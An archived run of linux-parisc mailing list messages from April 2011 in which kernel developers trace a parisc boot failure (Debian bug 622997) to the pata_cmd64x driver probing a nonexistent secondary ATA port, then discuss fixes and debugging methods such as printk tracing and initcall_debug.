> Comparing the console output that I recorded for the debian kernel, I
> see udev starts much earlier.  It only has the initial message from the
> tg3 driver and SCSI subsystem.

It's most likely a driver module that's getting loaded which is turned
off in the booting configuration ... finding it isn't going to be easy,
though ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 13:06:36 -0400
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110417170635.GA23117@hiauly1.hia.nrc.ca>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca> <1303053807.2583.1.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303060006 24519 80.91.229.12 (17 Apr 2011 17:06:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 17:06:46 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 19:06:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBVQm-0003rf-Gy
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 19:06:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751466Ab1DQRGj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 13:06:39 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2563 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751261Ab1DQRGj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 13:06:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DAAE54E6A; Sun, 17 Apr 2011 13:06:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1303053807.2583.1.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3546>

On Sun, 17 Apr 2011, James Bottomley wrote:

> > Comparing the console output that I recorded for the debian kernel, I
> > see udev starts much earlier.  It only has the initial message from the
> > tg3 driver and SCSI subsystem.
> 
> It's most likely a driver module that's getting loaded which is turned
> off in the booting configuration ... finding it isn't going to be easy,
> though ...

Yup.  I have reenabled IPV6 and USB and my system still boots.  There
are some nfs problems with IPV6 but that's probably a config issue.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 14:28:07 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1303068487.2583.7.camel@mulgrave.site>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
	 <1303053807.2583.1.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303068500 2731 80.91.229.12 (17 Apr 2011 19:28:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 19:28:20 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 21:28:12 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBXdk-0001WF-EV
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 21:28:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751937Ab1DQT2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 15:28:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34294 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751838Ab1DQT2L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 15:28:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C55008EE0F5;
	Sun, 17 Apr 2011 12:28:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pAJbNiO4IeIc; Sun, 17 Apr 2011 12:28:09 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 38A798EE0F2;
	Sun, 17 Apr 2011 12:28:09 -0700 (PDT)
In-Reply-To: <1303053807.2583.1.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3547>

On Sun, 2011-04-17 at 10:23 -0500, James Bottomley wrote:
> It's most likely a driver module that's getting loaded which is turned
> off in the booting configuration ... finding it isn't going to be easy,
> though ...

Finally got a build (had to swap out -Os for -O2).

I traced the module loads and successful inits and found it; it's
pata_cmd64x  ... it loads but never returns from init.  I bet it's
trying to poke into ISA space which causes the HPMC.

Removing this one module from the system allows it to boot again.

I'd suggest just disabling in the parisc config for now.  Using an ATA
based CD/DVD instead of a SCSI one is a very recent thing.  I'll see if
I can get it working, but ATA controllers tend to be somewhat nasty and
x86 specific ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#622997: Debian bug 622997
Date: Sun, 17 Apr 2011 20:37:30 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1303069050.5282.943.camel@localhost>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
	 <1303053807.2583.1.camel@mulgrave.site>
	 <1303068487.2583.7.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha512"; protocol="application/pgp-signature"; boundary="=-dj6T/cEk6VYcJR6Ifypl"
X-Trace: dough.gmane.org 1303069075 5522 80.91.229.12 (17 Apr 2011 19:37:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 19:37:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	622997@bugs.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 21:37:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBXn4-0006fl-Do
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 21:37:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752912Ab1DQTht (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 15:37:49 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:37139 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752841Ab1DQTht (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 15:37:49 -0400
Original-Received: from [2001:470:1f08:1539:21c:bfff:fe03:f805] (helo=localhost)
	by shadbolt.i.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <ben@decadent.org.uk>)
	id 1QBXml-0006uV-Q3; Sun, 17 Apr 2011 20:37:33 +0100
Original-Received: from ben by localhost with local (Exim 4.75)
	(envelope-from <ben@decadent.org.uk>)
	id 1QBXmk-0006cy-NC; Sun, 17 Apr 2011 20:37:30 +0100
In-Reply-To: <1303068487.2583.7.camel@mulgrave.site>
X-Mailer: Evolution 2.32.2 
X-SA-Exim-Connect-IP: 2001:470:1f08:1539:21c:bfff:fe03:f805
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	shadbolt.decadent.org.uk
X-Spam-Level: ****
X-Spam-Status: No, score=4.9 required=5.0 tests=FSL_HELO_NON_FQDN_1,
	HELO_LOCALHOST,RDNS_NONE autolearn=disabled version=3.3.1
X-SA-Exim-Version: 4.2.1 (built Mon, 22 Mar 2010 06:51:10 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.i.decadent.org.uk)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3548>


--=-dj6T/cEk6VYcJR6Ifypl
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sun, 2011-04-17 at 14:28 -0500, James Bottomley wrote:
> On Sun, 2011-04-17 at 10:23 -0500, James Bottomley wrote:
> > It's most likely a driver module that's getting loaded which is turned
> > off in the booting configuration ... finding it isn't going to be easy,
> > though ...
>=20
> Finally got a build (had to swap out -Os for -O2).
>=20
> I traced the module loads and successful inits and found it; it's
> pata_cmd64x  ... it loads but never returns from init.  I bet it's
> trying to poke into ISA space which causes the HPMC.
>=20
> Removing this one module from the system allows it to boot again.
[...]

We also had a recent report that this driver is also bust on some sparc
systems.  We could swap back to cmd64x on these architectures but I
would rather get pata_cmd64x fixed.

Ben.

--=20
Ben Hutchings
Once a job is fouled up, anything done to improve it makes it worse.

--=-dj6T/cEk6VYcJR6Ifypl
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIVAwUATatBc+e/yOyVhhEJAQpe0g//SxyNZ36zhy3rO5xVTlVwYCVKMNF3P+vJ
d6tKkhYYmwZBIvvt2aySuL7+VMvcasmVeKczii5/kMV3N+W6s8j0eBqYjR9LGgWq
TWJelLwj3TcyGnc5Q5EyTSXGCpzNOBPP+bYC2cPoPUJ6HvVc8MAqGsJZz4yCv4ew
NKSgw+pZEGrsT/El9DBF1BWGsoyRMhfnR2XR+R5IeO2M2ZZPyoLTcrd/A3hBCaK0
JZOVCknY+S98ADZflKf4HJAX0yFTAYfCyDXm9M28xAIYQTVeIvq1oc7V/6l8OxRd
xWcNc04nLGWG/xJeodFycWDLo3f55KU3NSZm4a8Sit1ARWqr8HG7qYo7EOytSSPA
bbTjD4hEfOV00x2198DRkMTXMBMQVMYPYlMsSSzx3bVmLdvD15Qsra88miYUD130
T9PMYK+aZPLujNJMPKxqqCKEO2TJphUSwSMgucJKOmN8wFi2iTt2V20RBgcVr9Am
c5ZtcXjJd4ER1os5nodnNia4L9CxtGkZdVFbJFb5khJiadQKNMD3xoT2aZmQH2gJ
aNyM7uzPrNREQjkXr+AVSeGpnA087TD9oPV/Sl/0zZSWjn0J/mE6Rqe3ELSVM/1y
EQ7WxgQAR4Mada4yVVBsfud9WEwnHMH5la4IifM51fTNhqBKtlkIPD4uNorXVFHu
QZxpHiqh4Fg=
=CUtC
-----END PGP SIGNATURE-----

--=-dj6T/cEk6VYcJR6Ifypl--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#622997: Debian bug 622997
Date: Sun, 17 Apr 2011 18:33:37 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1303083217.2583.14.camel@mulgrave.site>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
	 <1303053807.2583.1.camel@mulgrave.site>
	 <1303068487.2583.7.camel@mulgrave.site>
	 <1303069050.5282.943.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303083230 5820 80.91.229.12 (17 Apr 2011 23:33:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 23:33:50 +0000 (UTC)
Cc: 622997@bugs.debian.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 01:33:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBbTN-0008Re-6f
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 01:33:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751637Ab1DQXdo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 19:33:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44161 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751536Ab1DQXdn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 19:33:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5F7208EE0F5;
	Sun, 17 Apr 2011 16:33:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VGM1Vko5i76E; Sun, 17 Apr 2011 16:33:40 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id ACAC28EE0F2;
	Sun, 17 Apr 2011 16:33:39 -0700 (PDT)
In-Reply-To: <1303069050.5282.943.camel@localhost>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3549>

On Sun, 2011-04-17 at 20:37 +0100, Ben Hutchings wrote:
> On Sun, 2011-04-17 at 14:28 -0500, James Bottomley wrote:
> > I traced the module loads and successful inits and found it; it's
> > pata_cmd64x  ... it loads but never returns from init.  I bet it's
> > trying to poke into ISA space which causes the HPMC.
> > 
> > Removing this one module from the system allows it to boot again.
> [...]
> 
> We also had a recent report that this driver is also bust on some sparc
> systems.  We could swap back to cmd64x on these architectures but I
> would rather get pata_cmd64x fixed.

Well, I've got a working pata_cm64x (and now a working CD drive).

The specific issue on parisc (and probably sparc) is that we're using
this siimage chip hard wired to a single DVD drive.  We have no use for
a secondary port, so there isn't one.  The registers for the secondary
port are pointing off into empty space.  When libata-sff tries to touch
the secondary port, we get an instant High Priority Machine Check
because on most non-x86 systems, it's a fault to touch non-responding
memory.

I got it to work by making libata-sff only probe a single port.  Now,
here's the problem: the libata-sff driver is hardwired to probe two
ports, so it will require major surgery to check dynamically how many
ports there are ... and the second problem is that I don't even know how
to check this.  I'll ask about this on linux-ide.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 21:25:19 -0400
Organization: nrc.ca
Lines: 32
Approved: news@gmane.org
Message-ID: <20110418012519.GA25505@hiauly1.hia.nrc.ca>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca> <1303053807.2583.1.camel@mulgrave.site> <1303068487.2583.7.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303089928 32720 80.91.229.12 (18 Apr 2011 01:25:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 01:25:28 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 03:25:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBdDP-0003wr-4V
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 03:25:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752811Ab1DRBZW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 21:25:22 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2798 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751985Ab1DRBZV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 21:25:21 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3009E4E6A; Sun, 17 Apr 2011 21:25:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1303068487.2583.7.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3550>

On Sun, 17 Apr 2011, James Bottomley wrote:

> On Sun, 2011-04-17 at 10:23 -0500, James Bottomley wrote:
> > It's most likely a driver module that's getting loaded which is turned
> > off in the booting configuration ... finding it isn't going to be easy,
> > though ...
> 
> Finally got a build (had to swap out -Os for -O2).

Didn't need this with the gcc 4.5.3 snapshot that I mentioned previously.

> I traced the module loads and successful inits and found it; it's
> pata_cmd64x  ... it loads but never returns from init.  I bet it's
> trying to poke into ISA space which causes the HPMC.
> 
> Removing this one module from the system allows it to boot again.

Confirm that removing this module restores boot.

This is excellent detective work.  If I might ask, how did you trace
the module loads and successful inits?

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 22:22:36 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1303096956.2583.25.camel@mulgrave.site>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
	 <1303053807.2583.1.camel@mulgrave.site>
	 <1303068487.2583.7.camel@mulgrave.site>
	 <20110418012519.GA25505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303096996 27274 80.91.229.12 (18 Apr 2011 03:23:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 03:23:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, 622997@bugs.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 05:23:12 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBf3O-0000W5-3w
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 05:23:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752865Ab1DRDXI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 23:23:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45955 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752603Ab1DRDWl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 23:22:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 70A8A8EE0FD;
	Sun, 17 Apr 2011 20:22:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QzM8XDC3tUPO; Sun, 17 Apr 2011 20:22:39 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E939E8EE0F5;
	Sun, 17 Apr 2011 20:22:38 -0700 (PDT)
In-Reply-To: <20110418012519.GA25505@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3551>

On Sun, 2011-04-17 at 21:25 -0400, John David Anglin wrote:
> This is excellent detective work.  If I might ask, how did you trace
> the module loads and successful inits?

Heh, you're expecting me to name magic tracing tools?  Well (shuffles
feet) I just put printks in kernel/modules.c to do it.  It's basically
impossible to trace a boot problem like this any other way, because we
don't have enough of the system up to use any tools.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 21:51:55 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20110418035155.GA26613@parisc-linux.org>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca> <1303053807.2583.1.camel@mulgrave.site> <1303068487.2583.7.camel@mulgrave.site> <20110418012519.GA25505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303098727 1238 80.91.229.12 (18 Apr 2011 03:52:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 03:52:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, 622997@bugs.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 05:52:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBfVF-0003QH-J0
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 05:51:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752238Ab1DRDv4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 23:51:56 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:40830 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752041Ab1DRDv4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 23:51:56 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 5BAA2494005; Sun, 17 Apr 2011 21:51:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110418012519.GA25505@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3552
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3552>

On Sun, Apr 17, 2011 at 09:25:19PM -0400, John David Anglin wrote:
...
> Confirm that removing this module restores boot.
> 
> This is excellent detective work.  If I might ask, how did you trace
> the module loads and successful inits?

Dave,
Besides hacking in printk's, often "initcall_debug" kernel parameter is enough
narrow down which module is hanging or crashing the system.

hth,
grant

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
